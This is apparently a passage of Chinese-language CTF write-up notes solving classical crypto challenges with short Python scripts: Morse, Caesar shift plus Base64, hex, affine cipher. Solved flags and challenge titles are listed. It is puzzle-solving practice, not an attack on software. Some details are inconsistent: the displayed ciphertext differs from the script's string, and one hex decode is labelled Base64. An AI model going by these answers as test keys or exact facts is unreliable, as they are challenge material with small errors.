        '011110':"'",
        '101011':'!',
        '001101':'_',
        '010010':'"',
        '10110':'(',
        '1111011':'{',
        '1111101':'}'
        };
for item in s:
    print (dict[item],end='')

FLAG{M0RSE_CODE_1S_INTEREST1N9!}

flag{m0rse_code_1s_interest1n9!}(將字母改為小寫提交)

簡單加密

e6Z9i]8RUQHE{RnY{QXgQnQ{XVlRXlpXI5Q6Q6SKY8jUAA

import base64
 
string1 = "e6Z9i~]8R~U~QHE{RnY{QXg~QnQ{^XVlRXlp^XI5Q6Q6SKY8jUAA"
string2 = ""
for i, elem in enumerate(string1):
    string2 += chr(ord(elem) - 4)
string2 = base64.b64decode(string2)
print(string2)

散亂的密文

凱撒部長的獎勵

凱撒密碼解密,位移數為1

一段Base64

敢不敢再加密幾次

.!?Ook! to text

+[]-

Brainfuck to text

奇怪的密碼

托馬斯.傑斐遜

zip偽加密

告訴你個祕密(ISCCCTF)

636A56355279427363446C4A49454A7154534230526D6843
56445A31614342354E326C4B4946467A5769426961453067

decode as ASCII hex

cjV5RyBscDlJIEJqTSB0RmhC
VDZ1aCB5N2lKIFFzWiBiaE0g

decode Base64

r5yG lp9I BjM tFhB
T6uh y7iJ QsZ bhM

r5yG==>T

lp9I==>O

BjM==>N

tFhB==>G

T6uh==>Y

y7iJ ==>U

QsZ ==>A

bhM==>N

TONGYUAN

這不是md5

666c61677b616537333538376261353662616566357d

decode as Base64

flag{ae73587ba56baef5}

貝斯家族

富強民主

核心價值觀解碼

python(N1CTF)

進位制轉換

affine

flag = "szzyfimhyzd"
flaglist = []
for i in flag:
    flaglist.append(ord(i)-97)
flags = ""
for i in flaglist:
    for j in range(0,26):
        c = (17 * j - 8) % 26
        if(c == i):
            flags += chr(j+97)
print(flags)

Crack it

rsa

來自宇宙的訊號